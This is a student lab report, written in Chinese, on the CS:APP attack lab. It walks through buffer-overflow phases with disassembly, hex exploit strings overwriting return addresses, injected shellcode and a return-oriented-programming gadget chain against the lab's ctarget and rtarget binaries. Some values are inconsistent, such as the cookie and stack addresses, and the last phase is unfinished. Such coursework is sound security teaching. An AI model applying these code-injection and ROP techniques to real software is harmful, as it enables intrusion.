实验报告

2014080043 计62 姜东槿

实验目的

- Buffer overflow

没有判断输入的字符串的长度，导致字符串超出缓冲区 范围，会侵犯 return 空间后导致返回值错误

实验过程及原理

Phase 1 *

使用命令 `objdump -d ctarget > ctarget.d` 得到反汇编代码 `ctarget.d`。查找 `getbuf` 函数位置：

`BUFFER_SIZE` 为 0x28，40个字符，因此40个字符之后的8个bit存储函

数返回地址。查找 `touch1` 函数位置：

```
00000000004018b5 <getbuf>:
  4018b5:       48 83 ec 28             sub    $0x28,%rsp
  4018b9:       48 89 e7                mov    %rsp,%rdi
  4018bc:       e8 7e 02 00 00          callq  401b3f <Gets>
  4018c1:       b8 01 00 00 00          mov    $0x1,%eax
  4018c6:       48 83 c4 28             add    $0x28,%rsp
  4018ca:       c3                      retq

00000000004018cb <touch1>:
  4018cb:       48 83 ec 08             sub    $0x8,%rsp
  4018cf:       c7 05 43 2c 20 00 01    movl   $0x1,0x202c43(%rip)        # 60451c <vlevel>
  4018d6:       00 00 00
  4018d9:       bf 05 32 40 00          mov    $0x403205,%edi
  4018de:       e8 ed f3 ff ff          callq  400cd0 <puts@plt>
  4018e3:       bf 01 00 00 00          mov    $0x1,%edi
  4018e8:       e8 97 04 00 00          callq  401d84 <validate>
  4018ed:       bf 00 00 00 00          mov    $0x0,%edi
  4018f2:       e8 59 f5 ff ff          callq  400e50 <exit@plt>
```

构造攻击代码 `phase1.txt` 如下：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
Cb 18 40 00 00 00 00 00
```

使用命令 `./hex2raw <phase1.txt> ctarget1.l1;
./ctarget -q -i ctarget1.l1` 得到如下结果：

```
2014080043@dell07:~$ ./hex2raw <1.txt> phase1.l1;
2014080043@dell07:~$ ./ctarget -q -i phase1.l1
Cookie: 0x5a4c113b
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id NoOne
        course  15213-f15
        lab     attacklab
        result  2014080043:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CB 18 40 00 00 00 00 00
2014080043@dell07:~$
```

Phase 2 *

与Phase1类似，只不过要把 `%rdi` 改写成 `cookie.txt` 中的 `0x5a4c113b`，由于栈地址固定（没有ASLR），这一步需要 获取固定栈地址。

编写攻击代码 `phase2.s` 如下（cookie值为 `0x0x5a4c113b `）：

```assembly
movq $0x0x5a4c113b,
%rdi retq
```

得到文件 `phase2.d` 如下：

```
2014080043@dell07:~$ gcc -c phase2.s; objdump -d phase2.o &gt;
[1] 184613

phase2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 3b 11 4c 5a    mov    $0x5a4c113b,%rdi
   7:   c3                      retq
```

构造攻击代码 `phase2.txt` 如下：

```
2014080043@dell07:~$ cat 2.txt
48 c7 c7 3b 11 4c 5a c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 69 62 55 00 00 00 00
f7 18 40 00 00 00 00 00
```

其中第一行为 `phase2.s` 的机器码，2-7行为填充，8行为 `%rsp` 地址，9行为 `touch2` 地址。执行时读入buffer

得到如下结果：

```
2014080043@dell07:~$ ./hex2raw <2.txt> phase2.l2;
2014080043@dell07:~$ ./ctarget -q -i phase2.l2
Cookie: 0x5a4c113b
Touch2!: You called touch2(0x5a4c113b)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id NoOne
        course  15213-f15
        lab     attacklab
        result  2014080043:PASS:0xffffffff:ctarget:2:48 C7 C7 3B 11 4C 5A C3 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 88 69 62 55 00 00 00 00 F7 18 40 00 00 00 00 00
2014080043@dell07:~$
```

Phase 3 *

大体思路同Phase2，只不过要把传的参数 `%rdi` 从数字换成指针，输入cookie的字符表示，还需要注意函数

`hexmatch` 中有可能会往栈中填充其他数据。试验了几几种方法之后我决定把cookie字符串放在最后面，避免数据被覆盖
构造攻击代码 `phase3.txt` 如下：

```
[2014080043@dell07:~$ cat 3.txt
48 c7 c7 de 69 62 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 69 62 55 00 00 00 00
08 1a 40 00 00 00 00 00
34 37 64 62 34 65 33 61
```

其中第一行为

```asm
movq $0x556269de,
%rdi ret
```

在Phase2中，已经获得了buffer在栈上的位置为 `0x55652778`，字符串位置的偏移量为56，$0x55626988+56=$0x556269de $。这样一来在进入函数 `hexmatch` 的时候`sval` 指向 `=$0x556269de `，这个位置上存储的是 字符串 `5a4c113b`，并且在之后的操作中不会覆盖掉之前的数据。

Phase 4 *

使用命令 `objdump -d rtarget > rtarget.d` 得到反汇编代码 `rtarget.d`。查看 `getbuf` 函数得知还是
`BUFFER_SIZE=0x28`。
大致思路是把cookie存到栈中的某个位置，然后如果能直接 `pop %rdi` 之后直接进入 `touch2` 函数即可。可是在garget中没有
`pop %rdi` ，因此需另辟蹊径。查看后发现有 `pop %rax` 和 `movq %rax, %rdi` 两句话，可以拼起来。

```
[2014080043@dell07:~$ cat 4.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
bd 1a 40 00 00 00 00 00
3b 11 4c 5a 00 00 00 00
b3 1a 40 00 00 00 00 00
f7 18 40 00 00 00 00 00
```

其中 `0x401abd` 为 `58 c3`，对应汇编代码为 `pop %rax; ret`；`0x5a4c113b` 为cookie；`0x401ab3` 为
`movq %rax, %rdi; ret`；`0x4018f7` 为 `touch2` 函数地址。

Phase 5 *

大致思路为：获取 `%rsp` 指向的地址，存到某个寄存器中，添加偏移量 `offset` 使其指向cookie的位置，然后调用 touch3。同Phase3，cookie 需要放到 stack 最后

做实验中遇到的问题及解决方法

对我来说去当兵两年后才回来复学这门课有点难，忘记了很多专业知识和中文而且大三的小学期有专业实践所以前三周上不了课要下班后看老师的ppt自学。但是还有的部分没了解所以实验的后边实现不出来，但是很努力学习尽量做完实验所以了解每道题的思路在实验报告都写出来我了解的思路。通过这次的实验了解buffer overflow attack 原理和c程序的每行指令怎么作用到assembly register。